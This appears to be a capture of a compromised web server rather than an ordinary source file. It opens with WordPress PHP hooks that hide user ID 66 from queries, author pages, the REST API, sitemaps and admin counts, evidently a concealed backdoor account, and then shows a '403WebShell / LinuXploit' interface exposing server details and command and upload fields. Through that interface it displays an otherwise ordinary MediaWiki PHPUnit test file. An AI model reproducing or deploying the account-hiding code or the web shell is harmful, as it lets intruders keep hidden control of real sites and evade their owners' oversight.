add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/tests/phpunit/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/tests/phpunit/includes//MediaWikiServicesTest.php
<?php

use MediaWiki\Config\Config;
use MediaWiki\Config\GlobalVarConfig;
use MediaWiki\Config\HashConfig;
use MediaWiki\Hook\MediaWikiServicesHook;
use MediaWiki\HookContainer\HookContainer;
use MediaWiki\HookContainer\StaticHookRegistry;
use MediaWiki\MainConfigNames;
use MediaWiki\MediaWikiServices;
use Wikimedia\Services\DestructibleService;
use Wikimedia\Services\SalvageableService;

/**
 * @covers \MediaWiki\MediaWikiServices
 * @group Database
 * This test doesn't really make queries, but needs to be in the Database test to make sure
 * that storage isn't disabled on the original instance.
 */
class MediaWikiServicesTest extends MediaWikiIntegrationTestCase {
	private const DEPRECATED_SERVICES = [
		'BlockErrorFormatter',
		'ConfigRepository',
		'ConfiguredReadOnlyMode',
	];

	/** @var array */
	public static $mockServiceWiring = [];

	/**
	 * @return Config
	 */
	private function newTestConfig() {
		$globalConfig = new GlobalVarConfig();

		$testConfig = new HashConfig();
		$testConfig->set( MainConfigNames::ServiceWiringFiles, $globalConfig->get( MainConfigNames::ServiceWiringFiles ) );
		$testConfig->set( MainConfigNames::ConfigRegistry, $globalConfig->get( MainConfigNames::ConfigRegistry ) );
		$testConfig->set( MainConfigNames::Hooks, [] );

		return $testConfig;
	}

	/**
	 * @return MediaWikiServices
	 */
	private function newMediaWikiServices() {
		$config = $this->newTestConfig();
		$instance = new MediaWikiServices( $config );

		// Load the default wiring from the specified files.
		$wiringFiles = $config->get( MainConfigNames::ServiceWiringFiles );
		$instance->loadWiringFiles( $wiringFiles );

		return $instance;
	}

	private function newConfigWithMockWiring() {
		$config = new HashConfig;
		$config->set( MainConfigNames::ServiceWiringFiles, [ __DIR__ . '/MockServiceWiring.php' ] );
		return $config;
	}

	public function testGetInstance() {
		$services = MediaWikiServices::getInstance();
		$this->assertInstanceOf( MediaWikiServices::class, $services );
	}

	public function testForceGlobalInstance() {
		$newServices = $this->newMediaWikiServices();
		$oldServices = MediaWikiServices::forceGlobalInstance( $newServices );

		$this->assertInstanceOf( MediaWikiServices::class, $oldServices );
		$this->assertNotSame( $oldServices, $newServices );

		$theServices = MediaWikiServices::getInstance();
		$this->assertSame( $theServices, $newServices );

		MediaWikiServices::forceGlobalInstance( $oldServices );

		$theServices = MediaWikiServices::getInstance();
		$this->assertSame( $theServices, $oldServices );
	}

	public function testResetGlobalInstance() {
		$newServices = $this->newMediaWikiServices();
		$oldServices = MediaWikiServices::forceGlobalInstance( $newServices );

		$service1 = $this->createMock( SalvageableService::class );
		$service1->expects( $this->never() )
			->method( 'salvage' );

		$newServices->defineService(
			'Test',
			static function () use ( $service1 ) {
				return $service1;
			}
		);

		// force instantiation
		$newServices->getService( 'Test' );

		MediaWikiServices::resetGlobalInstance( $this->newTestConfig() );
		$theServices = MediaWikiServices::getInstance();

		$this->assertSame(
			$service1,
			$theServices->getService( 'Test' ),
			'service definition should survive reset'
		);

		$this->assertNotSame( $theServices, $newServices );
		$this->assertNotSame( $theServices, $oldServices );

		MediaWikiServices::forceGlobalInstance( $oldServices );
	}

	public function testResetGlobalInstance_quick() {
		$newServices = $this->newMediaWikiServices();
		$oldServices = MediaWikiServices::forceGlobalInstance( $newServices );

		$service1 = $this->createMock( SalvageableService::class );
		$service1->expects( $this->never() )
			->method( 'salvage' );

		$service2 = $this->createMock( SalvageableService::class );
		$service2->expects( $this->once() )
			->method( 'salvage' )
			->with( $service1 );

		// sequence of values the instantiator will return
		$instantiatorReturnValues = [
			$service1,
			$service2,
		];

		$newServices->defineService(
			'Test',
			static function () use ( &$instantiatorReturnValues ) {
				return array_shift( $instantiatorReturnValues );
			}
		);

		// force instantiation
		$newServices->getService( 'Test' );

		MediaWikiServices::resetGlobalInstance( $this->newTestConfig(), 'quick' );
		$theServices = MediaWikiServices::getInstance();

		$this->assertSame( $service2, $theServices->getService( 'Test' ) );

		$this->assertNotSame( $theServices, $newServices );
		$this->assertNotSame( $theServices, $oldServices );

		MediaWikiServices::forceGlobalInstance( $oldServices );
	}

	public function testResetGlobalInstance_T263925() {
		$newServices = $this->newMediaWikiServices();
		$oldServices = MediaWikiServices::forceGlobalInstance( $newServices );
		self::$mockServiceWiring = [
			'HookContainer' => function ( MediaWikiServices $services ) {
				return new HookContainer(
					new StaticHookRegistry(
						[],
						[
							'MediaWikiServices' => [
								[
									'handler' => [
										'name' => 'test',
										'factory' => static function () {
											return new class implements MediaWikiServicesHook {
												public function onMediaWikiServices( $services ) {
												}
											};
										}
									],
									'deprecated' => false,
									'extensionPath' => 'path'
								],
							]
						],
						[]
					),
					$this->createSimpleObjectFactory()
				);
			}
		];
		$newServices->redefineService( 'HookContainer',
			self::$mockServiceWiring['HookContainer'] );

		$newServices->getHookContainer()->run( 'MediaWikiServices', [ $newServices ] );
		MediaWikiServices::resetGlobalInstance( $this->newConfigWithMockWiring(), 'quick' );
		$this->assertTrue( true, 'expected no exception from above' );

		self::$mockServiceWiring = [];
		MediaWikiServices::forceGlobalInstance( $oldServices );
	}

	public function testDisableStorage() {
		$newServices = $this->newMediaWikiServices();
		$oldServices = MediaWikiServices::forceGlobalInstance( $newServices );

		$lbFactory = $this->createMock( \Wikimedia\Rdbms\LBFactorySimple::class );

		$newServices->redefineService(
			'DBLoadBalancerFactory',
			static function () use ( $lbFactory ) {
				return $lbFactory;
			}
		);

		$this->assertFalse( $newServices->isStorageDisabled() );

		$newServices->disableStorage(); // should destroy DBLoadBalancerFactory

		$this->assertTrue( $newServices->isStorageDisabled() );

		try {
			$newServices->getDBLoadBalancer()->getConnection( DB_REPLICA );
		} catch ( RuntimeException $ex ) {
			// ok, as expected
		}

		MediaWikiServices::forceGlobalInstance( $oldServices );
		$newServices->destroy();

		// This should work now.
		MediaWikiServices::getInstance()->getDBLoadBalancer()->getConnection( DB_REPLICA );

		// No exception was thrown, avoid being risky
		$this->assertTrue( true );
	}

	public function testResetChildProcessServices() {
		$newServices = $this->newMediaWikiServices();
		$oldServices = MediaWikiServices::forceGlobalInstance( $newServices );

		$service1 = $this->createMock( DestructibleService::class );
		$service1->expects( $this->once() )
			->method( 'destroy' );

		$service2 = $this->createMock( DestructibleService::class );
		$service2->expects( $this->never() )
			->method( 'destroy' );

		// sequence of values the instantiator will return
		$instantiatorReturnValues = [
			$service1,
			$service2,
		];

		$newServices->defineService(
			'Test',
			static function () use ( &$instantiatorReturnValues ) {
				return array_shift( $instantiatorReturnValues );
			}
		);

		// force the service to become active, so we can check that it does get destroyed
		$oldTestService = $newServices->getService( 'Test' );

		MediaWikiServices::resetChildProcessServices();
		$finalServices = MediaWikiServices::getInstance();

		$newTestService = $finalServices->getService( 'Test' );
		$this->assertNotSame( $oldTestService, $newTestService );

		MediaWikiServices::forceGlobalInstance( $oldServices );
	}

	public function testResetServiceForTesting() {
		$services = $this->newMediaWikiServices();
		$serviceCounter = 0;

		$services->defineService(
			'Test',
			function () use ( &$serviceCounter ) {
				$serviceCounter++;
				$service = $this->createMock( Wikimedia\Services\DestructibleService::class );
				$service->expects( $this->once() )->method( 'destroy' );
				return $service;
			}
		);

		// This should do nothing. In particular, it should not create a service instance.
		$services->resetServiceForTesting( 'Test' );
		$this->assertSame( 0, $serviceCounter, 'No service instance should be created yet.' );

		$oldInstance = $services->getService( 'Test' );
		$this->assertSame( 1, $serviceCounter, 'A service instance should exit now.' );

		// The old instance should be detached, and destroy() called.
		$services->resetServiceForTesting( 'Test' );
		$newInstance = $services->getService( 'Test' );

		$this->assertNotSame( $oldInstance, $newInstance );

		// Satisfy the expectation that destroy() is called also for the second service instance.
		$newInstance->destroy();
	}

	public function testResetServiceForTesting_noDestroy() {
		$services = $this->newMediaWikiServices();

		$services->defineService(
			'Test',
			function () {
				$service = $this->createMock( Wikimedia\Services\DestructibleService::class );
				$service->expects( $this->never() )->method( 'destroy' );
				return $service;
			}
		);

		$oldInstance = $services->getService( 'Test' );

		// The old instance should be detached, but destroy() not called.
		$services->resetServiceForTesting( 'Test', false );
		$newInstance = $services->getService( 'Test' );

		$this->assertNotSame( $oldInstance, $newInstance );
	}

	public static function provideGetters() {
		$getServiceCases = self::provideGetService();
		$getterCases = [
			// These are "mis-named" getters that don't follow the standard pattern, so are listed explicitly
			'getWikiRevisionOldRevisionImporter' => [ 'getWikiRevisionOldRevisionImporter', OldRevisionImporter::class ],
			'newSearchEngine' => [ 'newSearchEngine', SearchEngine::class ]
		];

		// All getters should be named just like the service, with "get" added.
		foreach ( $getServiceCases as $name => $case ) {
			if ( $name[0] === '_' ) {
				// Internal service, no getter
				continue;
			}
			[ $service, $class ] = $case;
			$getterCases[$name] = [
				'get' . $service,
				$class,
				in_array( $service, self::DEPRECATED_SERVICES )
			];
		}

		return $getterCases;
	}

	/**
	 * @dataProvider provideGetters
	 */
	public function testGetters( $getter, $type, $isDeprecated = false ) {
		if ( $isDeprecated ) {
			$this->hideDeprecated( MediaWikiServices::class . "::$getter" );
		}

		// Test against the default instance, since the dummy will not know the default services.
		$services = MediaWikiServices::getInstance();
		$service = $services->$getter();
		$this->assertInstanceOf( $type, $service );
	}

	public static function provideGetService() {
		global $IP;
		$serviceList = require "$IP/includes/ServiceWiring.php";
		$ret = [];
		foreach ( $serviceList as $name => $callback ) {
			$fun = new ReflectionFunction( $callback );
			if ( !$fun->hasReturnType() ) {
				throw new LogicException( 'All service callbacks must have a return type defined, ' .
					"none found for $name" );
			}

			$returnType = $fun->getReturnType();
			$ret[$name] = [ $name, $returnType->getName() ];
		}
		return $ret;
	}

	/**
	 * @dataProvider provideGetService
	 */
	public function testGetService( $name, $type ) {
		// Test against the default instance, since the dummy will not know the default services.
		$services = MediaWikiServices::getInstance();

		$service = $services->getService( $name );
		$this->assertInstanceOf( $type, $service );
	}

	public function testDefaultServiceInstantiation() {
		// Check all services in the default instance, not a dummy instance!
		// Note that we instantiate all services here, including any that
		// were registered by extensions.
		$services = MediaWikiServices::getInstance();
		$names = $services->getServiceNames();

		foreach ( $names as $name ) {
			$this->assertTrue( $services->hasService( $name ) );

			// Check that the service can be instantiated without errors.
			// Make no assumption about the value returned by the instantiator
			// as extensions may be putting all manners of values in the container.
			$services->getService( $name );
		}
	}

	public function testDefaultServiceWiringServicesHaveTests() {
		global $IP;
		$testedServices = array_keys( self::provideGetService() );
		$allServices = array_keys( require "$IP/includes/ServiceWiring.php" );
		$this->assertEquals(
			[],
			array_diff( $allServices, $testedServices ),
			'The following services have not been added to MediaWikiServicesTest::provideGetService'
		);
	}

	public function testGettersAreSorted() {
		$methods = ( new ReflectionClass( MediaWikiServices::class ) )
			->getMethods( ReflectionMethod::IS_STATIC | ReflectionMethod::IS_PUBLIC );

		$names = array_map( static function ( $method ) {
			return $method->getName();
		}, $methods );
		$serviceNames = array_map( static function ( $name ) {
			return "get$name";
		}, array_keys( self::provideGetService() ) );
		$names = array_values( array_filter( $names, static function ( $name ) use ( $serviceNames ) {
			return in_array( $name, $serviceNames );
		} ) );

		$sortedNames = $names;
		natcasesort( $sortedNames );

		$this->assertSame( $sortedNames, $names,
			'Please keep service getters sorted alphabetically' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit